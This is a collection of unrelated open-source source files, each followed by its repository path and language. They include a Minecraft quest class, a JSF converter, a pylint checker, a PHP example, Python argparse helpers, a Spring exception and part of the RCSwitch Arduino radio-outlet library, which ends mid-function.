boolean notCurrentDepth(HarvestDropsEvent event, QuestData data) { int max = getMaxDepth(data); int min = getMinDepth(data); int y = event.getPos().getY(); if (min > 0 && y < min) { return true; } if (max > 0 && y > max) { return true; } return false; } @Override public List<ItemStack> complete(QuestData data, List<ItemStack> in) { if (in == null) { return null; } List<ItemStack> givenItems = copyItems(in); int requiredLeft = getTargetAmount(data); boolean toolIncluded = false; for (ItemStack item : givenItems) { if (isForThisQuest(data, item)) { if (item.getItem() instanceof ItemTool) { toolIncluded = true; item.setCount(0); } else { requiredLeft -= item.getCount(); item.setCount(0); } } else { } } if (requiredLeft > 0) { data.getPlayer().sendMessage(new TextComponentString("You are " + requiredLeft + " short")); return null; } if (!toolIncluded) { data.getPlayer().sendMessage(new TextComponentString("You must turn in the tool that you were given")); return null; } givenItems = removeEmptyItemStacks(givenItems); addRewardItems(data, givenItems); return givenItems; } protected boolean isForThisQuest(QuestData data, ItemStack item) { if (!item.hasTagCompound() || item.isEmpty()) { return false; } String wasMinedForQuestId = item.getTagCompound().getString("mine_quest"); return data.getQuestId().toString().equals(wasMinedForQuestId); } @Override public List<ItemStack> reject(QuestData data, List<ItemStack> in) { if (in == null) { return null; } List<ItemStack> givenItems = copyItems(in); boolean toolIncluded = false; int emeraldRemainingCount = 5; for (ItemStack item : givenItems) { if (isForThisQuest(data, item)) { if (item.getItem() instanceof ItemTool) { toolIncluded = true; item.setCount(0); } } } if (!toolIncluded) { for (ItemStack item : givenItems) { if (!item.isEmpty() && item.getItem() == Items.EMERALD) { int decBy = Math.min(item.getCount(), emeraldRemainingCount); emeraldRemainingCount -= decBy; item.shrink(decBy); } } } if (!toolIncluded && emeraldRemainingCount > 0) { data.getPlayer().sendMessage(new TextComponentString("Return the tool that was provided or 5 emeralds to pay for it")); return null; } return removeEmptyItemStacks(givenItems); } @Override public List<ItemStack> accept(QuestData data, List<ItemStack> in) { Block type = BLOCK_TYPES[getBlockType(data)]; Province province = getQuestProvince(data); ItemStack tool; if (type == Blocks.GRAVEL) { tool = new ItemStack(Items.DIAMOND_SHOVEL); } else { tool = new ItemStack(Items.DIAMOND_PICKAXE); } tool.setStackDisplayName(tool.getDisplayName() + " of " + province.name); tool.addEnchantment(Enchantment.getEnchantmentByID(33), 1); tool.setTagInfo("mine_quest", new NBTTagString(data.getQuestId().toString())); tool.setTagInfo("province", new NBTTagString(province.id.toString())); in.add(tool); return in; } @Override public String getTitle(QuestData data) { return "quests.mine.title"; } @Override public String getDescription(QuestData data) { if (data == null) { return ""; } StringBuilder s = new StringBuilder(); s.append("quests.mine.description"); s.append("|").append(getTargetAmount(data)); s.append("|").append(BLOCK_TYPES[getBlockType(data)].getLocalizedName()); s.append("|").append(listItems(getRewardItems(data))); s.append("|").append(getRewardRep(data)); return s.toString(); } @Override public QuestData generateQuestFor(EntityPlayer player, Province questProvince) { Random rand = player.world.rand; QuestData data = new QuestData(); data.setCiv(questProvince.civilization); data.setPlayer(player); data.setProvinceId(questProvince.id); data.setQuestId(UUID.randomUUID()); data.setQuestType(ID); data.setCompleted(false); setMaxDepth(data, 30); setMinDepth(data, 0); int roll = rand.nextInt(20); setTargetAmount(data, 10 + roll); setBlockType(data, rand.nextInt(BLOCK_TYPES.length)); setRewardRep(data, 5 + (roll / 5)); List<ItemStack> rewards = new ArrayList<ItemStack>(1); ItemStack emeralds = new ItemStack(Items.EMERALD, 4 + (roll / 10)); rewards.add(emeralds); setRewardItems(data, rewards); return data; } private int getBlockType(QuestData data) { return coalesce(data.getiData().get("block_type"), 0); } private int coalesce(Integer integer, int i) { if (integer == null) { return i; } return integer; } private void setBlockType(QuestData data, int blockType) { data.getiData().put("block_type", blockType); /* * for (int i = 0; i < BLOCK_TYPES.length; i++) { if (BLOCK_TYPES[i] == * block) { data.getiData().put("block_type", i); } } throw new * IllegalArgumentException(block.getUnlocalizedName()); */ } private int getMaxDepth(QuestData data) { return coalesce(data.getiData().get("max_depth"), 0); } private void setMaxDepth(QuestData data, int depth) { data.getiData().put("max_depth", depth); } private int getMinDepth(QuestData data) { return coalesce(data.getiData().get("min_depth"), 0); } private void setMinDepth(QuestData data, int depth) { data.getiData().put("min_depth", depth); } private int getTargetAmount(QuestData data) { return data.getiData().get("target_amount"); } private void setTargetAmount(QuestData data, int amount) { data.getiData().put("target_amount", amount); } }
ToroCraft/ToroQuest
src/main/java/net/torocraft/toroquest/civilization/quests/QuestMine.java
Java
gpl-3.0
8,175
package tr.com.arf.toys.view.converter.egitim; import javax.faces.component.UIComponent; import javax.faces.context.FacesContext; import javax.faces.convert.FacesConverter; import tr.com.arf.framework.view.converter._base.BaseConverter; import tr.com.arf.toys.db.model.egitim.SinavGozetmen; import tr.com.arf.toys.service.application.ManagedBeanLocator; @FacesConverter(forClass=SinavGozetmen.class, value="sinavGozetmenConverter") public class SinavGozetmenConverter extends BaseConverter{ public SinavGozetmenConverter() { super(); } @Override public Object getAsObject(FacesContext facesContext, UIComponent uIComponent, String value) { if (value == null || value.trim().equalsIgnoreCase("")) { return null; } // DBOperator dbOperator = new DBOperator(); return ManagedBeanLocator.locateSessionController().getDBOperator().find("SinavGozetmen", "rID", value).get(0); } @Override public String getAsString(FacesContext facesContext, UIComponent uIComponent, Object value) { if (value == null || value.getClass() == java.lang.String.class) { return null; } if (value instanceof SinavGozetmen) { SinavGozetmen sinavGozetmen = (SinavGozetmen) value; return "" + sinavGozetmen.getRID(); } else { throw new IllegalArgumentException("object:" + value + " of type:" + value.getClass().getName() + "; expected type: SinavGozetmen Model"); } } } // class
TMMOB-BMO/TOYS
Toys/JavaSource/tr/com/arf/toys/view/converter/egitim/SinavGozetmenConverter.java
Java
gpl-3.0
1,450
"""checker for unnecessary indexing in a loop. """ from typing import List, Optional, Tuple, Union import astroid from astroid import nodes from pylint.checkers import BaseChecker from pylint.checkers.utils import check_messages from pylint.interfaces import IAstroidChecker class UnnecessaryIndexingChecker(BaseChecker): __implements__ = IAstroidChecker # name is the same as file name but without _checker part name = "unnecessary_indexing" # use dashes for connecting words in message symbol msgs = { "E9994": ( "For loop variable `%s` can be simplified by looping over the elements directly, " "for example, `for my_variable in %s`.", "unnecessary-indexing", "Used when you have an loop variable in a for loop " "where its only usage is to index the iterable", ) } # this is important so that your checker is executed before others priority = -1 # pass in message symbol as a parameter of check_messages @check_messages("unnecessary-indexing") def visit_for(self, node: nodes.For) -> None: # Check if the iterable of the for loop is of the form "range(len(<variable-name>))". iterable = _iterable_if_range(node.iter) if iterable is not None and _is_unnecessary_indexing(node): args = node.target.name, iterable self.add_message("unnecessary-indexing", node=node.target, args=args) # Helper functions def _is_unnecessary_indexing(node: nodes.For) -> bool: """Return whether the iteration variable in the for loop is ONLY used to index the iterable. True if unnecessary usage, False otherwise or if iteration variable not used at all. """ index_nodes = _index_name_nodes(node.target.name, node) return all(_is_redundant(index_node, node) for index_node in index_nodes) and index_nodes def _iterable_if_range(node: nodes.NodeNG) -> Optional[str]: """Return the iterable's name if this node is in "range" form, or None otherwise. Check for three forms: - range(len(<variable-name>)) - range(0, len(<variable-name>)) - range(0, len(<variable-name>), 1) """ # Check outer function call is range if ( not isinstance(node, nodes.Call) or not isinstance(node.func, nodes.Name) or not node.func.name == "range" ): return None # Check arguments to range if len(node.args) > 1: # Check that args[0] == Const(0) arg1 = node.args[0] if not isinstance(arg1, nodes.Const) or arg1.value != 0: return None if len(node.args) == 3 and ( not isinstance(node.args[2], nodes.Const) or node.args[2].value != 1 ): return None # Finally, check 'stop' argument is of the form len(<variable-name>). if len(node.args) == 1: stop_arg = node.args[0] else: stop_arg = node.args[1] if ( isinstance(stop_arg, nodes.Call) and isinstance(stop_arg.func, nodes.Name) and stop_arg.func.name == "len" and len(stop_arg.args) == 1 and isinstance(stop_arg.args[0], nodes.Name) ): return stop_arg.args[0].name def _is_load_subscript(index_node: nodes.Name, for_node: nodes.For) -> bool: """Return whether or not <index_node> is used to subscript the iterable of <for_node> and the subscript item is being loaded from, e.g., s += iterable[index_node]. NOTE: Index node is deprecated in Python 3.9 Returns True if the following conditions are met: (3.9) - The <index_node> Name node is inside of a Subscript node - The item that is being indexed is the iterable of the for loop - The Subscript node is being used in a load context (3.8) - The <index_node> Name node is inside of an Index node - The Index node is inside of a Subscript node - The item that is being indexed is the iterable of the for loop - The Subscript node is being used in a load context """ iterable = _iterable_if_range(for_node.iter) return ( isinstance(index_node.parent, nodes.Subscript) and isinstance(index_node.parent.value, nodes.Name) and index_node.parent.value.name == iterable and index_node.parent.ctx == astroid.Load ) def _is_redundant(index_node: Union[nodes.AssignName, nodes.Name], for_node: nodes.For) -> bool: """Return whether or not <index_node> is redundant in <for_node>. The lookup method is used in case the original loop variable is shadowed in the for loop's body. """ _, assignments = index_node.lookup(index_node.name) if not assignments: return False elif isinstance(index_node, nodes.AssignName): return assignments[0] != for_node.target else: # isinstance(index_node, nodes.Name) return assignments[0] != for_node.target or _is_load_subscript(index_node, for_node) def _index_name_nodes(index: str, for_node: nodes.For) -> List[Union[nodes.AssignName, nodes.Name]]: """Return a list of <index> AssignName and Name nodes contained in the body of <for_node>. Remove uses of variables that shadow <index>. """ scope = for_node.scope() return [ name_node for name_node in for_node.nodes_of_class((nodes.AssignName, nodes.Name)) if name_node.name == index and name_node != for_node.target and name_node.lookup(name_node.name)[0] == scope ] def register(linter): linter.register_checker(UnnecessaryIndexingChecker(linter))
pyta-uoft/pyta
python_ta/checkers/unnecessary_indexing_checker.py
Python
gpl-3.0
5,590
<?php $fuits = [ 'uva', 'banana', 'caju', ]; asort($fuits); var_dump($fuits);
caioblima/phpzce-code-guide
arrays/code/src/asort.php
PHP
gpl-3.0
89
package Utiles; /** * Esta clase permite crear JPanel al ser instanciada desde otra * @author Raúl Caro Pastorino <Fryntiz www.fryntiz.es> */ import java.awt.Color; import javax.swing.BorderFactory; import javax.swing.JLabel; import javax.swing.JPanel; public class ClaseJPanel extends JPanel { JLabel jlabel; public ClaseJPanel() { initComponentes(); } private void initComponentes() { jlabel = new JLabel("Soy un JLabel"); this.add(jlabel); //Añadido al panel this.setBorder(BorderFactory.createLineBorder(Color.BLUE)); } }
fryntiz/java
Aprendiendo/GUI/src/Utiles/ClaseJPanel.java
Java
gpl-3.0
600
#! /usr/bin/env python import os import argparse from pymsbayes.fileio import expand_path from pymsbayes.config import MsBayesConfig from pymsbayes.utils.functions import is_file, is_dir, is_executable class SmartHelpFormatter(argparse.HelpFormatter): ''' A class to allow customizable line breaks for an argument help message on a per argument basis. ''' def _split_lines(self, text, width): if text.startswith('r|'): return text[2:].splitlines() return argparse.HelpFormatter._split_lines(self, text, width) def arg_is_path(path): try: if not os.path.exists(path): raise except: msg = 'path {0!r} does not exist'.format(path) raise argparse.ArgumentTypeError(msg) return expand_path(path) def arg_is_file(path): try: if not is_file(path): raise except: msg = '{0!r} is not a file'.format(path) raise argparse.ArgumentTypeError(msg) return expand_path(path) def arg_is_config(path): try: if not MsBayesConfig.is_config(path): raise except: msg = '{0!r} is not an msBayes config file'.format(path) raise argparse.ArgumentTypeError(msg) return expand_path(path) def arg_is_dir(path): try: if not is_dir(path): raise except: msg = '{0!r} is not a directory'.format(path) raise argparse.ArgumentTypeError(msg) return expand_path(path) def arg_is_executable(path): try: p = ToolPathManager.get_external_tool(path) if not p: raise except: msg = '{0!r} is not an executable'.format(path) raise argparse.ArgumentTypeError(msg) return p def arg_is_nonnegative_int(i): try: if int(i) < 0: raise except: msg = '{0!r} is not a non-negative integer'.format(i) raise argparse.ArgumentTypeError(msg) return int(i) def arg_is_positive_int(i): try: if int(i) < 1: raise except: msg = '{0!r} is not a positive integer'.format(i) raise argparse.ArgumentTypeError(msg) return int(i) def arg_is_positive_float(i): try: if float(i) <= 0.0: raise except: msg = '{0!r} is not a positive real number'.format(i) raise argparse.ArgumentTypeError(msg) return float(i) def get_sort_index_help_message(): return ( '''r|The sorting index used by `dpp-msbayes.pl`/`msbayes.pl` and `obsSumStats.pl` scripts to determine how the summary statistic vectors calculated from the alignments of the observed and simulated data are to be grouped and sorted. The default is %(default)s. 0: Do not group or sort. The identity and order of the summary statistics of each alignment are maintained and compared when calculating Euclidean distance. 1-7: **NOTE**, options 1-7 all re-sort the summary statistics in some way, and thus compare the statistics from *different* alignments when calculating the Euclidean distance. This is not valid and these options should *NOT* be used. They are maintained for backwards compatibility with the original msBayes. 8-11: All of these options group the summary statistics from multiple loci by taxon and then calculate moments of each statistic across the loci for each taxon, and then use these moments to calculate Euclidean distance. The order of the taxa is maintained, and so this is valid, but you are losing a lot of information contained in your loci by simply taking the mean (option 11) across them. If you have A LOT of loci, this sacrifice might be necessary to reduce the number of summary statistics. **NOTE**, options 8-10 are NOT well tested. 8: Use the first 4 moments (mean, variance, skewness, and kurtosis) of each statistic. 9: Use the first 3 moments (mean, variance, and skewness) of each statistic. 10: Use the first 2 moments (mean and variance) of each statistic. 11: Use the first 1 moment (mean) of each statistic.''' )
joaks1/PyMsBayes
pymsbayes/utils/argparse_utils.py
Python
gpl-3.0
4,193
/* * ItemNotFoundException.java * * Copyright (C) 2013 * * This file is part of Open Geoportal Harvester * * This software is free software; you can redistribute it and/or modify it * under the terms of the GNU General Public License as published by the Free * Software Foundation; either version 2 of the License, or (at your option) any * later version. * * This software is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * details. * * You should have received a copy of the GNU General Public License along with * this library; if not, write to the Free Software Foundation, Inc., 51 * Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * As a special exception, if you link this library with other files to produce * an executable, this library does not by itself cause the resulting executable * to be covered by the GNU General Public License. This exception does not * however invalidate any other reasons why the executable file might be covered * by the GNU General Public License. * * Authors:: Juan Luis Rodriguez Ponce (mailto:juanluisrp@geocat.net) */ package org.opengeoportal.harvester.mvc.exception; import org.springframework.http.HttpStatus; import org.springframework.web.bind.annotation.ResponseStatus; /** * @author jlrodriguez * */ @ResponseStatus(value = HttpStatus.NOT_FOUND, reason = "The REST element you requested can not be found") public class ItemNotFoundException extends RuntimeException { private static final long serialVersionUID = -5831721681171462413L; /** * */ public ItemNotFoundException() { } /** * @param message */ public ItemNotFoundException(String message) { super(message); } /** * @param cause */ public ItemNotFoundException(Throwable cause) { super(cause); } /** * @param message * @param cause */ public ItemNotFoundException(String message, Throwable cause) { super(message, cause); } }
OpenGeoportal/ogpHarvester
web/src/main/java/org/opengeoportal/harvester/mvc/exception/ItemNotFoundException.java
Java
gpl-3.0
2,097
/* RCSwitch - Arduino libary for remote control outlet switches Copyright (c) 2011 Suat Özgür. All right reserved. Contributors: - Andre Koehler / info(at)tomate-online(dot)de - Gordeev Andrey Vladimirovich / gordeev(at)openpyro(dot)com - Skineffect / http://forum.ardumote.com/viewtopic.php?f=2&t=46 - Dominik Fischer / dom_fischer(at)web(dot)de - Frank Oltmanns / <first name>.<last name>(at)gmail(dot)com - Andreas Steinel / A.<lastname>(at)gmail(dot)com - Max Horn / max(at)quendi(dot)de - Robert ter Vehn / <first name>.<last name>(at)gmail(dot)com - Johann Richard / <first name>.<last name>(at)gmail(dot)com - Vlad Gheorghe / <first name>.<last name>(at)gmail(dot)com https://github.com/vgheo Project home: https://github.com/sui77/rc-switch/ This library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with this library; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ #include "RCSwitch.h" /* Format for protocol definitions: * {pulselength, Sync bit, "0" bit, "1" bit} * * pulselength: pulse length in microseconds, e.g. 350 * Sync bit: {1, 31} means 1 high pulse and 31 low pulses * (perceived as a 31*pulselength long pulse, total length of sync bit is * 32*pulselength microseconds), i.e: * _ * | |_______________________________ (don't count the vertical bars) * "0" bit: waveform for a data bit of value "0", {1, 3} means 1 high pulse * and 3 low pulses, total length (1+3)*pulselength, i.e: * _ * | |___ * "1" bit: waveform for a data bit of value "1", e.g. {3,1}: * ___ * | |_ * * These are combined to form Tri-State bits when sending or receiving codes. */ static const RCSwitch::Protocol PROGMEM proto[] = { { 350, { 1, 31 }, { 1, 3 }, { 3, 1 } }, // protocol 1 { 650, { 1, 10 }, { 1, 2 }, { 2, 1 } }, // protocol 2 { 100, { 30, 71 }, { 4, 11 }, { 9, 6 } }, // protocol 3 { 380, { 1, 6 }, { 1, 3 }, { 3, 1 } }, // protocol 4 { 500, { 6, 14 }, { 1, 2 }, { 2, 1 } }, // protocol 5 }; static const int numProto = sizeof(proto) / sizeof(proto[0]); #if not defined( RCSwitchDisableReceiving ) unsigned long RCSwitch::nReceivedValue = 0; unsigned int RCSwitch::nReceivedBitlength = 0; unsigned int RCSwitch::nReceivedDelay = 0; unsigned int RCSwitch::nReceivedProtocol = 0; int RCSwitch::nReceiveTolerance = 60; const unsigned int RCSwitch::nSeparationLimit = 4600; // separationLimit: minimum microseconds between received codes, closer codes are ignored. // according to discussion on issue #14 it might be more suitable to set the separation // limit to the same time as the 'low' part of the sync signal for the current protocol. unsigned int RCSwitch::timings[RCSWITCH_MAX_CHANGES]; #endif RCSwitch::RCSwitch() : virtualGroveConnector() { this->nTransmitterPin = -1; this->setRepeatTransmit(10); this->setProtocol(1); #if not defined( RCSwitchDisableReceiving ) this->nReceiverInterrupt = -1; this->setReceiveTolerance(60); RCSwitch::nReceivedValue = 0; #endif } /** * Sets the protocol to send. */ void RCSwitch::setProtocol(Protocol protocol) { this->protocol = protocol; } /** * Sets the protocol to send, from a list of predefined protocols */ void RCSwitch::setProtocol(int nProtocol) { if (nProtocol < 1 || nProtocol > numProto) { nProtocol = 1; // TODO: trigger an error, e.g. "bad protocol" ??? } memcpy_P(&this->protocol, &proto[nProtocol-1], sizeof(Protocol)); } /** * Sets the protocol to send with pulse length in microseconds. */ void RCSwitch::setProtocol(int nProtocol, int nPulseLength) { setProtocol(nProtocol); this->setPulseLength(nPulseLength); } /** * Sets pulse length in microseconds */ void RCSwitch::setPulseLength(int nPulseLength) { this->protocol.pulseLength = nPulseLength; } /** * Sets Repeat Transmits */ void RCSwitch::setRepeatTransmit(int nRepeatTransmit) { this->nRepeatTransmit = nRepeatTransmit; } /** * Set Receiving Tolerance */ #if not defined( RCSwitchDisableReceiving ) void RCSwitch::setReceiveTolerance(int nPercent) { RCSwitch::nReceiveTolerance = nPercent; } #endif /** * Enable transmissions * * @param nTransmitterPin Arduino Pin to which the sender is connected to */ void RCSwitch::enableTransmit(int nTransmitterPin) { this->nTransmitterPin = nTransmitterPin; pinMode(this->nTransmitterPin, OUTPUT); } /** * Disable transmissions */ void RCSwitch::disableTransmit() { this->nTransmitterPin = -1; } /** * Switch a remote switch on (Type D REV) * * @param sGroup Code of the switch group (A,B,C,D) * @param nDevice Number of the switch itself (1..3) */ void RCSwitch::switchOn(char sGroup, int nDevice) { this->sendTriState( this->getCodeWordD(sGroup, nDevice, true) ); } /** * Switch a remote switch off (Type D REV) * * @param sGroup Code of the switch group (A,B,C,D) * @param nDevice Number of the switch itself (1..3) */ void RCSwitch::switchOff(char sGroup, int nDevice) { this->sendTriState( this->getCodeWordD(sGroup, nDevice, false) ); } /** * Switch a remote switch on (Type C Intertechno) * * @param sFamily Familycode (a..f) * @param nGroup Number of group (1..4) * @param nDevice Number of device (1..4) */ void RCSwitch::switchOn(char sFamily, int nGroup, int nDevice) { this->sendTriState( this->getCodeWordC(sFamily, nGroup, nDevice, true) ); } /** * Switch a remote switch off (Type C Intertechno) * * @param sFamily Familycode (a..f) * @param nGroup Number of group (1..4) * @param nDevice Number of device (1..4) */ void RCSwitch::switchOff(char sFamily, int nGroup, int nDevice) { this->sendTriState( this->getCodeWordC(sFamily, nGroup, nDevice, false) ); } /** * Switch a remote switch on (Type B with two rotary/sliding switches) * * @param nAddressCode Number of the switch group (1..4) * @param nChannelCode Number of the switch itself (1..4) */ void RCSwitch::switchOn(int nAddressCode, int nChannelCode) { this->sendTriState( this->getCodeWordB(nAddressCode, nChannelCode, true) ); } /** * Switch a remote switch off (Type B with two rotary/sliding switches) * * @param nAddressCode Number of the switch group (1..4) * @param nChannelCode Number of the switch itself (1..4) */ void RCSwitch::switchOff(int nAddressCode, int nChannelCode) { this->sendTriState( this->getCodeWordB(nAddressCode, nChannelCode, false) ); } /** * Deprecated, use switchOn(const char* sGroup, const char* sDevice) instead! * Switch a remote switch on (Type A with 10 pole DIP switches) * * @param sGroup Code of the switch group (refers to DIP switches 1..5 where "1" = on and "0" = off, if all DIP switches are on it's "11111") * @param nChannelCode Number of the switch itself (1..5) */ void RCSwitch::switchOn(const char* sGroup, int nChannel) { const char* code[6] = { "00000", "10000", "01000", "00100", "00010", "00001" }; this->switchOn(sGroup, code[nChannel]); } /** * Deprecated, use switchOff(const char* sGroup, const char* sDevice) instead! * Switch a remote switch off (Type A with 10 pole DIP switches) * * @param sGroup Code of the switch group (refers to DIP switches 1..5 where "1" = on and "0" = off, if all DIP switches are on it's "11111") * @param nChannelCode Number of the switch itself (1..5) */ void RCSwitch::switchOff(const char* sGroup, int nChannel) { const char* code[6] = { "00000", "10000", "01000", "00100", "00010", "00001" }; this->switchOff(sGroup, code[nChannel]); } /** * Switch a remote switch on (Type A with 10 pole DIP switches) * * @param sGroup Code of the switch group (refers to DIP switches 1..5 where "1" = on and "0" = off, if all DIP switches are on it's "11111") * @param sDevice Code of the switch device (refers to DIP switches 6..10 (A..E) where "1" = on and "0" = off, if all DIP switches are on it's "11111") */ void RCSwitch::switchOn(const char* sGroup, const char* sDevice) { this->sendTriState( this->getCodeWordA(sGroup, sDevice, true) ); } /** * Switch a remote switch off (Type A with 10 pole DIP switches) * * @param sGroup Code of the switch group (refers to DIP switches 1..5 where "1" = on and "0" = off, if all DIP switches are on it's "11111") * @param sDevice Code of the switch device (refers to DIP switches 6..10 (A..E) where "1" = on and "0" = off, if all DIP switches are on it's "11111") */ void RCSwitch::switchOff(const char* sGroup, const char* sDevice) { this->sendTriState( this->getCodeWordA(sGroup, sDevice, false) ); } /** * Returns a char[13], representing the code word to be sent. * A code word consists of 9 address bits, 3 data bits and one sync bit but * in our case only the first 8 address bits and the last 2 data bits were used. * A code bit can have 4 different states: "F" (floating), "0" (low), "1" (high), "S" (sync bit) * * +-----------------------------+-----------------------------+----------+----------+--------------+----------+ * | 4 bits address | 4 bits address | 1 bit | 1 bit | 2 bits | 1 bit | * | switch group | switch number | not used | not used | on / off | sync bit | * | 1=0FFF 2=F0FF 3=FF0F 4=FFF0 | 1=0FFF 2=F0FF 3=FF0F 4=FFF0 | F | F | on=FF off=F0 | S | * +-----------------------------+-----------------------------+----------+----------+--------------+----------+ * * @param nAddressCode Number of the switch group (1..4) * @param nChannelCode Number of the switch itself (1..4) * @param bStatus Whether to switch on (true) or off (false) * * @return char[13] */ char* RCSwitch::getCodeWordB(int nAddressCode, int nChannelCode, boolean bStatus) { int nReturnPos = 0; static char sReturn[13]; const char* code[5] = { "FFFF", "0FFF", "F0FF", "FF0F", "FFF0" }; if (nAddressCode < 1 || nAddressCode > 4 || nChannelCode < 1 || nChannelCode > 4) { return '\0'; } for (int i = 0; i<4; i++) { sReturn[nReturnPos++] = code[nAddressCode][i]; } for (int i = 0; i<4; i++) { sReturn[nReturnPos++] = code[nChannelCode][i]; } sReturn[nReturnPos++] = 'F'; sReturn[nReturnPos++] = 'F'; sReturn[nReturnPos++] = 'F'; if (bStatus) { sReturn[nReturnPos++] = 'F'; } else { sReturn[nReturnPos++] = '0'; } sReturn[nReturnPos] = '\0'; return sReturn; } /** * Returns a char[13], representing the code word to be send. * */ char* RCSwitch::getCodeWordA(const char* sGroup, const char* sDevice, boolean bOn) { static char sDipSwitches[13]; int i = 0; int j = 0; for (i = 0; i < 5; i++) { sDipSwitches[j++] = (sGroup[i] == '0') ? 'F' : '0'; } for (i = 0; i < 5; i++) { sDipSwitches[j++] = (sDevice[i] == '0') ? 'F' : '0'; } if (bOn) { sDipSwitches[j++] = '0'; sDipSwitches[j++] = 'F'; } else { sDipSwitches[j++] = 'F'; sDipSwitches[j++] = '0'; } sDipSwitches[j] = '\0'; return sDipSwitches; } /** * Like getCodeWord (Type C = Intertechno) */ char* RCSwitch::getCodeWordC(char sFamily, int nGroup, int nDevice, boolean bStatus) { static char sReturn[13]; int nReturnPos = 0; if ( (byte)sFamily < 97 || (byte)sFamily > 112 || nGroup < 1 || nGroup > 4 || nDevice < 1 || nDevice > 4) { return '\0'; } const char* sDeviceGroupCode = dec2binWcharfill( (nDevice-1) + (nGroup-1)*4, 4, '0' ); const char familycode[16][5] = { "0000", "F000", "0F00", "FF00", "00F0", "F0F0", "0FF0", "FFF0", "000F", "F00F", "0F0F", "FF0F", "00FF", "F0FF", "0FFF", "FFFF" }; for (int i = 0; i<4; i++) { sReturn[nReturnPos++] = familycode[ (int)sFamily - 97 ][i]; } for (int i = 0; i<4; i++) { sReturn[nReturnPos++] = (sDeviceGroupCode[3-i] == '1' ? 'F' : '0'); } sReturn[nReturnPos++] = '0'; sReturn[nReturnPos++] = 'F'; sReturn[nReturnPos++] = 'F'; if (bStatus) { sReturn[nReturnPos++] = 'F'; } else { sReturn[nReturnPos++] = '0'; } sReturn[nReturnPos] = '\0'; return sReturn; } /** * Decoding for the REV Switch Type * * Returns a char[13], representing the Tristate to be send. * A Code Word consists of 7 address bits and 5 command data bits. * A Code Bit can have 3 different states: "F" (floating), "0" (low), "1" (high) * * +-------------------------------+--------------------------------+-----------------------+ * | 4 bits address (switch group) | 3 bits address (device number) | 5 bits (command data) | * | A=1FFF B=F1FF C=FF1F D=FFF1 | 1=0FFF 2=F0FF 3=FF0F 4=FFF0 | on=00010 off=00001 | * +-------------------------------+--------------------------------+-----------------------+ * * Source: http://www.the-intruder.net/funksteckdosen-von-rev-uber-arduino-ansteuern/ * * @param sGroup Name of the switch group (A..D, resp. a..d) * @param nDevice Number of the switch itself (1..3) * @param bStatus Whether to switch on (true) or off (false) * * @return char[13] */ char* RCSwitch::getCodeWordD(char sGroup, int nDevice, boolean bStatus){ static char sReturn[13]; int nReturnPos = 0; // Building 4 bits address // (Potential problem if dec2binWcharfill not returning correct string) char *sGroupCode; switch(sGroup){ case 'a': case 'A': sGroupCode = dec2binWcharfill(8, 4, 'F'); break; case 'b': case 'B': sGroupCode = dec2binWcharfill(4, 4, 'F'); break; case 'c': case 'C': sGroupCode = dec2binWcharfill(2, 4, 'F'); break; case 'd': case 'D': sGroupCode = dec2binWcharfill(1, 4, 'F'); break; default: return '\0'; } for (int i = 0; i<4; i++) { sReturn[nReturnPos++] = sGroupCode[i]; } // Building 3 bits address // (Potential problem if dec2binWcharfill not returning correct string) char *sDevice; switch(nDevice) { case 1: sDevice = dec2binWcharfill(4, 3, 'F'); break; case 2: sDevice = dec2binWcharfill(2, 3, 'F'); break; case 3: sDevice = dec2binWcharfill(1, 3, 'F'); break; default: return '\0'; } for (int i = 0; i<3; i++) sReturn[nReturnPos++] = sDevice[i]; // fill up rest with zeros for (int i = 0; i<5; i++) sReturn[nReturnPos++] = '0'; // encode on or off if (bStatus) sReturn[10] = '1'; else sReturn[11] = '1'; // last position terminate string sReturn[12] = '\0'; return sReturn; } /** * @param sCodeWord /^[10FS]*$/ -> see getCodeWord */ void RCSwitch::sendTriState(const char* sCodeWord) { for (int nRepeat=0; nRepeat<nRepeatTransmit; nRepeat++) { int i = 0; while (sCodeWord[i] != '\0') { switch(sCodeWord[i]) { case '0': this->sendT0(); break; case 'F': this->sendTF(); break; case '1': this->sendT1(); break; } i++; } this->sendSync(); } } void RCSwitch::send(unsigned long code, unsigned int length) { this->send( this->dec2binWcharfill(code, length, '0') ); } void RCSwitch::send(const char* sCodeWord) { for (int nRepeat=0; nRepeat<nRepeatTransmit; nRepeat++) { int i = 0; while (sCodeWord[i] != '\0') { switch(sCodeWord[i]) { case '0': this->send0(); break; case '1': this->send1(); break; } i++; } this->sendSync(); } } void RCSwitch::transmit(int nHighPulses, int nLowPulses) { if (this->nTransmitterPin != -1) { #if not defined( RCSwitchDisableReceiving ) int nReceiverInterrupt_backup = nReceiverInterrupt; if (nReceiverInterrupt_backup != -1) { this->disableReceive(); } #endif digitalWrite(this->nTransmitterPin, HIGH); delayMicroseconds( this->protocol.pulseLength * nHighPulses); digitalWrite(this->nTransmitterPin, LOW); delayMicroseconds( this->protocol.pulseLength * nLowPulses); #if not defined( RCSwitchDisableReceiving ) if (nReceiverInterrupt_backup != -1) { this->enableReceive(nReceiverInterrupt_backup); } #endif } } void RCSwitch::transmit(HighLow pulses) { transmit(pulses.high, pulses.low); } /** * Sends a "0" Bit * _ * Waveform Protocol 1: | |___ * _ * Waveform Protocol 2: | |__ */ void RCSwitch::send0() { this->transmit(protocol.zero); } /** * Sends a "1" Bit * ___ * Waveform Protocol 1: | |_ * __ * Waveform Protocol 2: | |_ */ void RCSwitch::send1() { this->transmit(protocol.one); } /** * Sends a Tri-State "0" Bit * _ _ * Waveform: | |___| |___ */ void RCSwitch::sendT0() { this->send0(); this->send0(); } /** * Sends a Tri-State "1" Bit * ___ ___ * Waveform: | |_| |_ */ void RCSwitch::sendT1() { this->send1(); this->send1(); } /** * Sends a Tri-State "F" Bit * _ ___ * Waveform: | |___| |_ */ void RCSwitch::sendTF() { this->send0(); this->send1(); } /** * Sends a "Sync" Bit * _ * Waveform Protocol 1: | |_______________________________ * _ * Waveform Protocol 2: | |__________ */ void RCSwitch::sendSync() { 